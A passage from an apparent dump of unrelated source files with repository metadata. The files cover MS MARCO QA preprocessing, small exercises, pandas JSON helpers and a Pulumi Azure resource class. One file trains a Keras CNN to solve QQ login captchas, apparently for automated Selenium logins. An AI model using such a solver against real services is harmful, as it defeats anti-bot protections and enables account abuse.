not in ignore_tokens): #print(X[i-1],":",i-1) index_fwd.append(i-1) i-=1 j-=1 if not answer_start_match: answer_start_match = True answer_start_i = i answer_start_j = j # If not same, then find the larger of two and # go in the direction of larger value elif L[i-1][j] > L[i][j-1]: i-=1 else: j-=1 index_fwd.reverse() index_bwd = [] i = answer_start_i-1 j = answer_start_j-1 answer_end = i while i < m-1 and j < n-1: if (X[i+1] == Y[j+1]) and (X[i+1] not in ignore_tokens): #print(X[i+1],":",i+1) index_bwd.append(i+1) i+=1 j+=1 answer_end = i if not answer_end_match: #answer_start = i answer_end_match = True # If not same, then find the larger of two and # go in the direction of larger value elif L[i+1][j] > L[i][j+1]: i+=1 else: j+=1 index = list(set(index_fwd).intersection(set(index_bwd))) index.sort() #print(answer_start_match, answer_end_match) if len(index) == 1: index = index * 2 # index[1] += 1 return index def _lcs(X, Y, m, n): L = [[0 for x in range(n+1)] for x in range(m+1)] # Following steps build L[m+1][n+1] in bottom up fashion. Note # that L[i][j] contains length of LCS of X[0..i-1] and Y[0..j-1] for i in range(m+1): for j in range(n+1): if i == 0 or j == 0: L[i][j] = 0 elif X[i-1] == Y[j-1]: L[i][j] = L[i-1][j-1] + 1 else: L[i][j] = max(L[i-1][j], L[i][j-1]) # Following code is used to print LCS #index = L[m][n] # initialized answer start and end index answer_start = 0 answer_end = m answer_end_match = False # Create a character array to store the lcs string #lcs = [""] * (index+1) #lcs[index] = "\0" # Start from the right-most-bottom-most corner and # one by one store characters in lcs[] i = m j = n while i > 0 and j > 0: # If current character in X[] and Y are same, then # current character is part of LCS if X[i-1] == Y[j-1]: #lcs[index-1] = X[i-1] i-=1 j-=1 #index-=1 if not answer_end_match: answer_end = i answer_end_match = True answer_start = i # If not same, then find the larger of two and # go in the direction of larger value elif L[i-1][j] > L[i][j-1]: i-=1 else: j-=1 #print "LCS of " + X + " and " + Y + " is " + "".join(lcs) #if answer_start == answer_end: # answer_end += 1 return answer_start,answer_end+1 def normalize_answer(s): def remove_articles(text): return re.sub(r'\b(a|an|the)\b', ' ', text) def white_space_fix(text): return ' '.join(text.split()) def remove_punc(text): exclude = set(string.punctuation) return ''.join(ch for ch in text if ch not in exclude) def lower(text): return text.lower() return white_space_fix(remove_articles(remove_punc(lower(s)))) def rouge_l(evaluated_ngrams, reference_ngrams): evaluated_ngrams = set(evaluated_ngrams) reference_ngrams = set(reference_ngrams) reference_count = len(reference_ngrams) evaluated_count = len(evaluated_ngrams) # Gets the overlapping ngrams between evaluated and reference overlapping_ngrams = evaluated_ngrams.intersection(reference_ngrams) overlapping_count = len(overlapping_ngrams) # Handle edge case. This isn't mathematically correct, but it's good enough if evaluated_count == 0: precision = 0.0 else: precision = overlapping_count / evaluated_count if reference_count == 0: recall = 0.0 else: recall = overlapping_count / reference_count f1_score = 2.0 * ((precision * recall) / (precision + recall + 1e-8)) # return overlapping_count / reference_count return f1_score, precision, recall def process_file(config,max_para_count, filename, data_type, word_counter, char_counter, is_line_limit, rouge_metric): detokenizer = MosesDetokenizer() print("Generating {} examples...".format(data_type)) examples = [] rouge_metric = rouge_metric # 0 = f, 1 = p, 2 = r, default = r rouge_l_limit = 0.7 remove_tokens = ["'",'"','.',',',''] eval_examples = {} fh = open(filename, "r") line = fh.readline() line_limit = 100 if data_type == "train": total_lines = 82326 # ms marco training data set lines elif data_type == "dev": total_lines = 10047 # ms marco dev data set lines elif data_type == "test": total_lines = 10047 # ms marco dev data set lines (for test, we use dev data set) line_count = 0 do_skip_lines = False skip = 1330+789 if do_skip_lines: for _ in range(skip): next(fh) if is_line_limit: total_lines = line_limit #while(line): total = empty_answers = 0 low_rouge_l = np.zeros(3,dtype=np.int32) # token length of concatenated passages by each query id concat_para_length = {} # para exceeding length max_para_length = 0 for i in tqdm(range(total_lines)): source = json.loads(line) answer_texts = [] answer_start = answer_end = 0 highest_rouge_l = np.zeros(3) extracted_answer_text = '' passage_concat = '' final_single_passage = '' final_single_passage_tokens = '' if len(source['passages'])>config.max_para: line = fh.readline() empty_answers += 1 continue for j,passage in enumerate(source['passages']): passage_text = passage['passage_text'].replace( "''", '" ').replace("``", '" ').lower() passage_concat += " " + passage_text passage_tokens = word_tokenize(passage_concat) length = len(passage_tokens) if length>max_para_length: max_para_length = length answer = source['answers'] if answer == [] or answer == ['']: empty_answers += 1 line = fh.readline() continue elif len(answer)>=1: for answer_k,k in enumerate(answer): if k.strip() == "": continue answer_text = k.strip().lower() answer_text = answer_text[:-1] if answer_text[-1] == "." else answer_text answer_token = word_tokenize(answer_text) #index = lcs_tokens(passage_tokens, answer_token) #print(index) ##################################################################### # individual para scoring: fpr_scores = (0,0,0) token_count = 0 for l, passage in enumerate(source['passages']): passage_text = passage['passage_text'].replace( "''", '" ').replace("``", '" ').lower() passage_token = word_tokenize(passage_text) index = lcs_tokens(passage_token, answer_token) try: start_idx, end_idx = index[0], index[-1] extracted_answer = detokenizer.detokenize(passage_token[index[0]:index[-1]+1], return_str=True) detoken_ref_answer = detokenizer.detokenize(answer_token, return_str=True) fpr_scores = rouge_l(normalize_answer(extracted_answer), \ normalize_answer(detoken_ref_answer)) except Exception as e: # yes/no type questions pass if fpr_scores[rouge_metric]>highest_rouge_l[rouge_metric]: highest_rouge_l = fpr_scores answer_texts = [detoken_ref_answer] extracted_answer_text = extracted_answer answer_start, answer_end = start_idx, end_idx final_single_passage = passage_text final_single_passage_tokens = passage_token token_count += len(passage_token) for k in range(3): if highest_rouge_l[k]<rouge_l_limit: low_rouge_l[k] += 1 ################################################################ if highest_rouge_l[rouge_metric]<rouge_l_limit: #print('\nLOW ROUGE - L\n') line = fh.readline() """ print(passage_concat) print("Question:",source['query']) try: print("Start and end index:",answer_start,",",answer_end) print("Passage token length:",len(passage_tokens)) print("Extracted:",extracted_answer_text) print("Ground truth:",answer_texts[0]) print("Ground truth-raw:",source['answers']) except Exception as e: print("Extracted-raw:",passage_tokens[answer_start:answer_end]) print("Ground truth:",answer_texts) print("Ground truth-raw:",source['answers']) a = input("Pause:") print("\n\n") """ continue else: answer_text = answer[0].strip() """ print(passage_concat) print("Question:",source['query']) try: print("Start and end index:",answer_start,",",answer_end) print("Passage token length:",len(passage_tokens)) print("Extracted:",extracted_answer_text) print("Ground truth:",answer_texts[0]) print("Ground truth-raw:",source['answers']) except Exception as e: print("Extracted-raw:",passage_tokens[answer_start:answer_end]) print("Ground truth:",answer_texts) print("Ground truth-raw:",source['answers']) a = input("Pause:") print("\n\n") """ passage_chars = [list(token) for token in final_single_passage_tokens] spans = convert_idx(final_single_passage, final_single_passage_tokens) # word_counter increase for every qa pair. i.e. 1 since ms marco has 1 qa pair per para for token in final_single_passage_tokens: word_counter[token] += 1 for char in token: char_counter[char] += 1 ques = source['query'].replace( "''", '" ').replace("``", '" ').lower() ques_tokens = word_tokenize(ques) ques_chars = [list(token) for token in ques_tokens] for token in ques_tokens: word_counter[token] += 1 for char in token: char_counter[char] += 1 y1s, y2s = [], [] #answer_start, answer_end = lcs(passage_concat.lower(),answer_text.lower()) answer_span = [answer_start, answer_end] # word index for answer span for idx, span in enumerate(spans): #if not (answer_end <= span[0] or answer_start >= span[1]): if not (answer_end <= span[0] or answer_start >= span[1]): answer_span.append(idx) y1, y2 = answer_start, answer_end y1s.append(y1) y2s.append(y2) total += 1 concat_para_length[source["query_id"]] = len(final_single_passage_tokens) example = {"passage_tokens": final_single_passage_tokens, "passage_chars": passage_chars, "ques_tokens": ques_tokens, "ques_chars": ques_chars, "y1s": y1s, "y2s": y2s, "id": total, "uuid": source["query_id"],} examples.append(example) eval_examples[str(total)] = { "passage_concat": final_single_passage, "spans": spans, "answers": answer_texts, "uuid": source["query_id"],} line = fh.readline() if total%1000 == 0: print("{} questions in total".format(len(examples))) print("{} questions with empty answer".format(empty_answers)) print("{} questions with low rouge-l answers without multipara".format(low_rouge_l)) print("{} max-para length".format(max_para_length)) random.shuffle(examples) print("{} questions in total".format(len(examples))) print("{} questions with empty answer".format(empty_answers)) print("{} questions with low rouge-l answers without multipara".format(low_rouge_l)) print("{} max-para length".format(max_para_length)) with open(data_type+'_para_metadata.json','w') as fp: json.dump(concat_para_length,fp) """ # original implementation for comparision purposes with open(filename, "r") as fh: source = json.load(fh) for article in tqdm(source["data"]): for para in article["paragraphs"]: context = para["context"].replace( "''", '" ').replace("``", '" ') context_tokens = word_tokenize(context) context_chars = [list(token) for token in context_tokens] spans = convert_idx(context, context_tokens) # word_counter increase for every qa pair for token in context_tokens: word_counter[token] += len(para["qas"]) for char in token: char_counter[char] += len(para["qas"]) for qa in para["qas"]: total += 1 ques = qa["question"].replace( "''", '" ').replace("``", '" ') ques_tokens = word_tokenize(ques) ques_chars = [list(token) for token in ques_tokens] for token in ques_tokens: word_counter[token] += 1 for char in token: char_counter[char] += 1 y1s, y2s = [], [] answer_texts = [] for answer in qa["answers"]: answer_text = answer["text"] answer_start = answer['answer_start'] answer_end = answer_start + len(answer_text) answer_texts.append(answer_text) answer_span = [] for idx, span in enumerate(spans): if not (answer_end <= span[0] or answer_start >= span[1]): answer_span.append(idx) y1, y2 = answer_span[0], answer_span[-1] y1s.append(y1) y2s.append(y2) example = {"context_tokens": context_tokens, "context_chars": context_chars, "ques_tokens": ques_tokens, "ques_chars": ques_chars, "y1s": y1s, "y2s": y2s, "id": total} examples.append(example) eval_examples[str(total)] = { "context": context, "spans": spans, "answers": answer_texts, "uuid": qa["id"]} random.shuffle(examples) print("{} questions in total".format(len(examples))) """ return examples, eval_examples def get_embedding(counter, data_type, limit=-1, emb_file=None, size=None, vec_size=None): print("Generating {} embedding...".format(data_type)) embedding_dict = {} filtered_elements = [k for k, v in counter.items() if v > limit] if emb_file is not None: assert size is not None assert vec_size is not None with open(emb_file, "r", encoding="utf-8") as fh: for line in tqdm(fh, total=size): array = line.split() word = "".join(array[0:-vec_size]) vector = list(map(float, array[-vec_size:])) if word in counter and counter[word] > limit: embedding_dict[word] = vector print("{} / {} tokens have corresponding embedding vector".format( len(embedding_dict), len(filtered_elements))) else: assert vec_size is not None for token in filtered_elements: embedding_dict[token] = [0. for _ in range(vec_size)] print("{} tokens have corresponding embedding vector".format( len(filtered_elements))) NULL = "--NULL--" OOV = "--OOV--" token2idx_dict = {token: idx for idx, token in enumerate(embedding_dict.keys(), 2)} token2idx_dict[NULL] = 0 token2idx_dict[OOV] = 1 embedding_dict[NULL] = [0. for _ in range(vec_size)] embedding_dict[OOV] = [0. for _ in range(vec_size)] idx2emb_dict = {idx: embedding_dict[token] for token, idx in token2idx_dict.items()} emb_mat = [idx2emb_dict[idx] for idx in range(len(idx2emb_dict))] return emb_mat, token2idx_dict def build_features(config, examples, data_type, out_file, word2idx_dict, char2idx_dict, is_test=False): para_limit = config.test_para_limit if is_test else config.para_limit ques_limit = config.test_ques_limit if is_test else config.ques_limit char_limit = config.char_limit def filter_func(example, is_test=False): return len(example["passage_tokens"]) > para_limit or len(example["ques_tokens"]) > ques_limit print("Processing {} examples...".format(data_type)) writer = tf.python_io.TFRecordWriter(out_file) total = 0 total_ = 0 meta = {} for example in tqdm(examples): total_ += 1 if filter_func(example, is_test): print("Filtered") continue total += 1 passage_idxs = np.zeros([para_limit], dtype=np.int32) passage_char_idxs = np.zeros([para_limit, char_limit], dtype=np.int32) ques_idxs = np.zeros([ques_limit], dtype=np.int32) ques_char_idxs = np.zeros([ques_limit, char_limit], dtype=np.int32) y1 = np.zeros([para_limit], dtype=np.float32) y2 = np.zeros([para_limit], dtype=np.float32) def _get_word(word): for each in (word, word.lower(), word.capitalize(), word.upper()): if each in word2idx_dict: return word2idx_dict[each] return 1 def _get_char(char): if char in char2idx_dict: return char2idx_dict[char] return 1 for i, token in enumerate(example["passage_tokens"]): passage_idxs[i] = _get_word(token) for i, token in enumerate(example["ques_tokens"]): ques_idxs[i] = _get_word(token) for i, token in enumerate(example["passage_chars"]): for j, char in enumerate(token): if j == char_limit: break passage_char_idxs[i, j] = _get_char(char) for i, token in enumerate(example["ques_chars"]): for j, char in enumerate(token): if j == char_limit: break ques_char_idxs[i, j] = _get_char(char) start, end = example["y1s"][-1], example["y2s"][-1] y1[start], y2[end] = 1.0, 1.0 if total%config.checkpoint==0: print("Processed {} examples...".format(total)) record = tf.train.Example(features=tf.train.Features(feature={ "passage_idxs": tf.train.Feature(bytes_list=tf.train.BytesList(value=[passage_idxs.tostring()])), "ques_idxs": tf.train.Feature(bytes_list=tf.train.BytesList(value=[ques_idxs.tostring()])), "passage_char_idxs": tf.train.Feature(bytes_list=tf.train.BytesList(value=[passage_char_idxs.tostring()])), "ques_char_idxs": tf.train.Feature(bytes_list=tf.train.BytesList(value=[ques_char_idxs.tostring()])), "y1": tf.train.Feature(bytes_list=tf.train.BytesList(value=[y1.tostring()])), "y2": tf.train.Feature(bytes_list=tf.train.BytesList(value=[y2.tostring()])), "id": tf.train.Feature(int64_list=tf.train.Int64List(value=[example["id"]])) })) writer.write(record.SerializeToString()) print("Build {} / {} instances of features in total".format(total, total_)) print("Processed {} examples...".format(total)) meta["total"] = total writer.close() return meta def save(filename, obj, message=None): if message is not None: print("Saving {}...".format(message)) with open(filename, "w") as fh: json.dump(obj, fh) def prepro_(config): word_counter, char_counter = Counter(), Counter() train_examples, train_eval = process_file(config, config.max_para, config.train_file, "train", word_counter, char_counter, config.line_limit_prepro, config.rouge_metric) dev_examples, dev_eval = process_file(config, config.max_para, config.dev_file, "dev", word_counter, char_counter, config.line_limit_prepro, config.rouge_metric) test_examples, test_eval = process_file(config, config.max_para, config.test_file, "test", word_counter, char_counter, config.line_limit_prepro, config.rouge_metric) word_emb_mat, word2idx_dict = get_embedding( word_counter, "word", emb_file=config.glove_file, size=config.glove_size, vec_size=config.glove_dim) char_emb_mat, char2idx_dict = get_embedding( char_counter, "char", vec_size=config.char_dim) build_features(config, train_examples, "train", config.train_record_file, word2idx_dict, char2idx_dict) dev_meta = build_features(config, dev_examples, "dev", config.dev_record_file, word2idx_dict, char2idx_dict) test_meta = build_features(config, test_examples, "test", config.test_record_file, word2idx_dict, char2idx_dict, is_test=True) save(config.word_emb_file, word_emb_mat, message="word embedding") save(config.char_emb_file, char_emb_mat, message="char embedding") save(config.train_eval_file, train_eval, message="train eval") save(config.dev_eval_file, dev_eval, message="dev eval") save(config.test_eval_file, test_eval, message="test eval") save(config.dev_meta, dev_meta, message="dev meta") save(config.test_meta, test_meta, message="test meta")
f24bf2a788e0cd0924baebcd0ee5214d3f6d2437
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03193/s350016826.py
bb3396dfb53a31bf3a3373f8edacfe1808de721e
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
136
py
N,H,W=map(int,input().split()) count=0 for i in range(N): A,B=map(int,input().split()) if (A >= H) & (B >= W): count+=1 print(count)
3f10a11ac99e9d6c14f95a97d398f6f686a1d139
17dba42c75ae75376260d9bbd544f727083d2732
/media.py
22680e51427571dd6805e25a9d1cc6bb9a4da414
[]
no_license
cyrilvincent/python-advanced
d8ec3a0defed99fe99c2800cab8f5a647c4e3e62
79f13f1d3e88fae996da697ee3afdee8d1308fbf
refs/heads/master
2021-12-15T23:50:00.647131
2021-12-02T15:30:47
2021-12-02T15:30:47
207,744,251
2
1
null
null
null
null
UTF-8
Python
false
false
1,013
py
from dataclasses import dataclass from abc import ABCMeta, abstractmethod from typing import List, ClassVar @dataclass class Media(metaclass=ABCMeta): id: int title: str price: float nb_media: ClassVar[int] TYPE: int = 1 @abstractmethod def net_price(self):... @dataclass class Dvd(Media): zone: int @property def net_price(self): return self.price * 1.2 @dataclass class Book(Media): nb_page: int = 0 @property def net_price(self): return 0.01 + self.price * 1.05 * 0.95 class CartService: nb_cart: int = 0 def __init__(self): self.medias: List[Media] = [] CartService.nb_cart += 1 def add(self, media: Media): self.medias.append(media) def remove(self, media: Media): if media in self.medias: self.medias.remove(media) def get_total_net_price(self): return sum([m.net_price for m in self.medias]) def __del__(self): CartService.nb_cart -= 1
d4b712708c59f690eb0da72e38b8ff34e76bcfa6
acb8e84e3b9c987fcab341f799f41d5a5ec4d587
/langs/1/ck6.py
7cd7fb237b1177a4cd014c547f541b4ff1fe9808
[]
no_license
G4te-Keep3r/HowdyHackers
46bfad63eafe5ac515da363e1c75fa6f4b9bca32
fb6d391aaecb60ab5c4650d4ae2ddd599fd85db2
refs/heads/master
2020-08-01T12:08:10.782018
2016-11-13T20:45:50
2016-11-13T20:45:50
73,624,224
0
1
null
null
null
null
UTF-8
Python
false
false
486
py
import sys def printFunction(lineRemaining): if lineRemaining[0] == '"' and lineRemaining[-1] == '"': if len(lineRemaining) > 2: #data to print lineRemaining = lineRemaining[1:-1] print ' '.join(lineRemaining) else: print def main(fileName): with open(fileName) as f: for line in f: data = line.split() if data[0] == 'cK6': printFunction(data[1:]) else: print 'ERROR' return if __name__ == '__main__': main(sys.argv[1])
08834d1b81dac5c7d0724301c30b48df93539259
133e8c9df1d1725d7d34ea4317ae3a15e26e6c66
/Selenium/QQ/utils/ocr4qqcaptcha.py
e0c8e6fbc484ddbb4fc2cdffd1348180507ebda1
[ "Apache-2.0" ]
permissive
425776024/Learn
dfa8b53233f019b77b7537cc340fce2a81ff4c3b
3990e75b469225ba7b430539ef9a16abe89eb863
refs/heads/master
2022-12-01T06:46:49.674609
2020-06-01T08:17:08
2020-06-01T08:17:08
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,717
py
import glob import numpy as np from scipy import misc from keras.layers import Input, Convolution2D, MaxPooling2D, Flatten, Activation, Dense from keras.models import Model from keras.utils.np_utils import to_categorical imgs = glob.glob('sample/*.jpg') img_size = misc.imread(imgs[0]).shape #这里是(53, 129, 3) data = np.array([misc.imresize(misc.imread(i), img_size).T for i in imgs]) data = 1 - data.astype(float)/255.0 target = np.array([[ord(i)-ord('a') for i in j[7:11]] for j in imgs]) target = [to_categorical(target[:,i], 26) for i in range(4)] img_size = img_size[::-1] input = Input(img_size) cnn = Convolution2D(32, 3, 3)(input) cnn = MaxPooling2D((2, 2))(cnn) cnn = Convolution2D(32, 3, 3)(cnn) cnn = MaxPooling2D((2, 2))(cnn) cnn = Activation('relu')(cnn) cnn = Convolution2D(32, 3, 3)(cnn) cnn = MaxPooling2D((2, 2))(cnn) cnn = Activation('relu')(cnn) cnn = Convolution2D(32, 3, 3)(cnn) cnn = MaxPooling2D((2, 2))(cnn) cnn = Flatten()(cnn) cnn = Activation('relu')(cnn) model = Model(input=input, output=[Dense(26, activation='softmax')(cnn) for i in range(4)]) model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy']) model.summary() batch_size = 256 nb_epoch = 30 model.fit(data, target, batch_size=batch_size, nb_epoch=nb_epoch) model.save_weights('yanzheng_cnn_2d.model') # rr = [''.join(chr(i.argmax()+ord('a')) for i in model.predict(data[[k]])) for k in tqdm(range(len(data)))] # s = [imgs[i][7:11]==rr[i] for i in range(len(imgs))] # print(1.0*sum(s)/len(s)) def ocr(filename): img = misc.imresize(misc.imread(filename), img_size[::-1]).T img = np.array([1 - img.astype(float)/255]) return ''.join(chr(i.argmax()+ord('a')) for i in model.predict(img))
257e78f93bdfffd8ead6050e5a830887b2daf06c
d7c527d5d59719eed5f8b7e75b3dc069418f4f17
/main/PythonResults/_pythonSnippet11/32/pandasjson.py
a577b4507d59a3ae833713639051216cf30d9928
[]
no_license
Aivree/SnippetMatcher
3e348cea9a61e4342e5ad59a48552002a03bf59a
c8954dfcad8d1f63e6e5e1550bc78df16bc419d1
refs/heads/master
2021-01-21T01:20:59.144157
2015-01-07T04:35:29
2015-01-07T04:35:29
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,099
py
from pandas import Series, DataFrame from _pandasujson import loads, dumps @classmethod def from_json(cls, json, orient="index", dtype=None, numpy=True): """ Convert JSON string to Series Parameters ---------- json : The JSON string to parse. orient : {'split', 'records', 'index'}, default 'index' The format of the JSON string split : dict like {index -> [index], name -> name, data -> [values]} records : list like [value, ... , value] index : dict like {index -> value} dtype : dtype of the resulting Series nupmpy: direct decoding to numpy arrays. default True but falls back to standard decoding if a problem occurs. Returns ------- result : Series """ s = None if dtype is not None and orient == "split": numpy = False if numpy: try: if orient == "split": decoded = loads(json, dtype=dtype, numpy=True) decoded = dict((str(k), v) for k, v in decoded.iteritems()) s = Series(**decoded) elif orient == "columns" or orient == "index": s = Series(*loads(json, dtype=dtype, numpy=True, labelled=True)) else: s = Series(loads(json, dtype=dtype, numpy=True)) except ValueError: numpy = False if not numpy: if orient == "split": decoded = dict((str(k), v) for k, v in loads(json).iteritems()) s = Series(dtype=dtype, **decoded) else: s = Series(loads(json), dtype=dtype) return s Series.from_json = from_json def to_json(self, orient="index", double_precision=10, force_ascii=True): """ Convert Series to a JSON string Note NaN's and None will be converted to null and datetime objects will be converted to UNIX timestamps. Parameters ---------- orient : {'split', 'records', 'index'}, default 'index' The format of the JSON string split : dict like {index -> [index], name -> name, data -> [values]} records : list like [value, ... , value] index : dict like {index -> value} double_precision : The number of decimal places to use when encoding floating point values, default 10. force_ascii : force encoded string to be ASCII, default True. Returns ------- result : JSON compatible string """ return dumps(self, orient=orient, double_precision=double_precision, ensure_ascii=force_ascii) Series.to_json = to_json @classmethod def from_json(cls, json, orient="columns", dtype=None, numpy=True): """ Convert JSON string to DataFrame Parameters ---------- json : The JSON string to parse. orient : {'split', 'records', 'index', 'columns', 'values'}, default 'columns' The format of the JSON string split : dict like {index -> [index], columns -> [columns], data -> [values]} records : list like [{column -> value}, ... , {column -> value}] index : dict like {index -> {column -> value}} columns : dict like {column -> {index -> value}} values : just the values array dtype : dtype of the resulting DataFrame nupmpy: direct decoding to numpy arrays. default True but falls back to standard decoding if a problem occurs. Returns ------- result : DataFrame """ df = None if dtype is not None and orient == "split": numpy = False if numpy: try: if orient == "columns": args = loads(json, dtype=dtype, numpy=True, labelled=True) if args: args = (args[0].T, args[2], args[1]) df = DataFrame(*args) elif orient == "split": decoded = loads(json, dtype=dtype, numpy=True) decoded = dict((str(k), v) for k, v in decoded.iteritems()) df = DataFrame(**decoded) elif orient == "values": df = DataFrame(loads(json, dtype=dtype, numpy=True)) else: df = DataFrame(*loads(json, dtype=dtype, numpy=True, labelled=True)) except ValueError: numpy = False if not numpy: if orient == "columns": df = DataFrame(loads(json), dtype=dtype) elif orient == "split": decoded = dict((str(k), v) for k, v in loads(json).iteritems()) df = DataFrame(dtype=dtype, **decoded) elif orient == "index": df = DataFrame(loads(json), dtype=dtype).T else: df = DataFrame(loads(json), dtype=dtype) return df DataFrame.from_json = from_json def to_json(self, orient="columns", double_precision=10, force_ascii=True): """ Convert DataFrame to a JSON string. Note NaN's and None will be converted to null and datetime objects will be converted to UNIX timestamps. Parameters ---------- orient : {'split', 'records', 'index', 'columns', 'values'}, default 'columns' The format of the JSON string split : dict like {index -> [index], columns -> [columns], data -> [values]} records : list like [{column -> value}, ... , {column -> value}] index : dict like {index -> {column -> value}} columns : dict like {column -> {index -> value}} values : just the values array double_precision : The number of decimal places to use when encoding floating point values, default 10. force_ascii : force encoded string to be ASCII, default True. Returns ------- result : JSON compatible string """ return dumps(self, orient=orient, double_precision=double_precision, ensure_ascii=force_ascii) DataFrame.to_json = to_json def maybe_to_json(obj=None): if hasattr(obj, 'to_json'): return obj.to_json() return obj
1e4e5a7e81ba3eb57af755d28a1b01382a8dd32f
48e124e97cc776feb0ad6d17b9ef1dfa24e2e474
/sdk/python/pulumi_azure_native/network/v20210501/network_security_group.py
edee6131821444d88b72b7c2692d9b75a39b6d8d
[ "BSD-3-Clause", "Apache-2.0" ]
permissive
bpkgoud/pulumi-azure-native
0817502630062efbc35134410c4a784b61a4736d
a3215fe1b87fba69294f248017b1591767c2b96c
refs/heads/master
2023-08-29T22:39:49.984212
2021-11-15T12:43:41
2021-11-15T12:43:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
16,540
py
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from ... import _utilities from . import outputs from ._enums import * from ._inputs import * __all__ = ['NetworkSecurityGroupInitArgs', 'NetworkSecurityGroup'] @pulumi.input_type class NetworkSecurityGroupInitArgs: def __init__(__self__, *, resource_group_name: pulumi.Input[str], id: Optional[pulumi.Input[str]] = None, location: Optional[pulumi.Input[str]] = None, network_security_group_name: Optional[pulumi.Input[str]] = None, security_rules: Optional[pulumi.Input[Sequence[pulumi.Input['SecurityRuleArgs']]]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None): """ The set of arguments for constructing a NetworkSecurityGroup resource. :param pulumi.Input[str] resource_group_name: The name of the resource group. :param pulumi.Input[str] id: Resource ID. :param pulumi.Input[str] location: Resource location. :param pulumi.Input[str] network_security_group_name: The name of the network security group. :param pulumi.Input[Sequence[pulumi.Input['SecurityRuleArgs']]] security_rules: A collection of security rules of the network security group. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Resource tags. """ pulumi.set(__self__, "resource_group_name", resource_group_name) if id is not None: pulumi.set(__self__, "id", id) if location is not None: pulumi.set(__self__, "location", location) if network_security_group_name is not None: pulumi.set(__self__, "network_security_group_name", network_security_group_name) if security_rules is not None: pulumi.set(__self__, "security_rules", security_rules) if tags is not None: pulumi.set(__self__, "tags", tags) @property @pulumi.getter(name="resourceGroupName") def resource_group_name(self) -> pulumi.Input[str]: """ The name of the resource group. """ return pulumi.get(self, "resource_group_name") @resource_group_name.setter def resource_group_name(self, value: pulumi.Input[str]): pulumi.set(self, "resource_group_name", value) @property @pulumi.getter def id(self) -> Optional[pulumi.Input[str]]: """ Resource ID. """ return pulumi.get(self, "id") @id.setter def id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "id", value) @property @pulumi.getter def location(self) -> Optional[pulumi.Input[str]]: """ Resource location. """ return pulumi.get(self, "location") @location.setter def location(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "location", value) @property @pulumi.getter(name="networkSecurityGroupName") def network_security_group_name(self) -> Optional[pulumi.Input[str]]: """ The name of the network security group. """ return pulumi.get(self, "network_security_group_name") @network_security_group_name.setter def network_security_group_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "network_security_group_name", value) @property @pulumi.getter(name="securityRules") def security_rules(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['SecurityRuleArgs']]]]: """ A collection of security rules of the network security group. """ return pulumi.get(self, "security_rules") @security_rules.setter def security_rules(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['SecurityRuleArgs']]]]): pulumi.set(self, "security_rules", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ Resource tags. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "tags", value) class NetworkSecurityGroup(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, id: Optional[pulumi.Input[str]] = None, location: Optional[pulumi.Input[str]] = None, network_security_group_name: Optional[pulumi.Input[str]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, security_rules: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['SecurityRuleArgs']]]]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, __props__=None): """ NetworkSecurityGroup resource. :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] id: Resource ID. :param pulumi.Input[str] location: Resource location. :param pulumi.Input[str] network_security_group_name: The name of the network security group. :param pulumi.Input[str] resource_group_name: The name of the resource group. :param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['SecurityRuleArgs']]]] security_rules: A collection of security rules of the network security group. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Resource tags. """ ... @overload def __init__(__self__, resource_name: str, args: NetworkSecurityGroupInitArgs, opts: Optional[pulumi.ResourceOptions] = None): """ NetworkSecurityGroup resource. :param str resource_name: The name of the resource. :param NetworkSecurityGroupInitArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(NetworkSecurityGroupInitArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, id: Optional[pulumi.Input[str]] = None, location: Optional[pulumi.Input[str]] = None, network_security_group_name: Optional[pulumi.Input[str]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, security_rules: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['SecurityRuleArgs']]]]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = NetworkSecurityGroupInitArgs.__new__(NetworkSecurityGroupInitArgs) __props__.__dict__["id"] = id __props__.__dict__["location"] = location 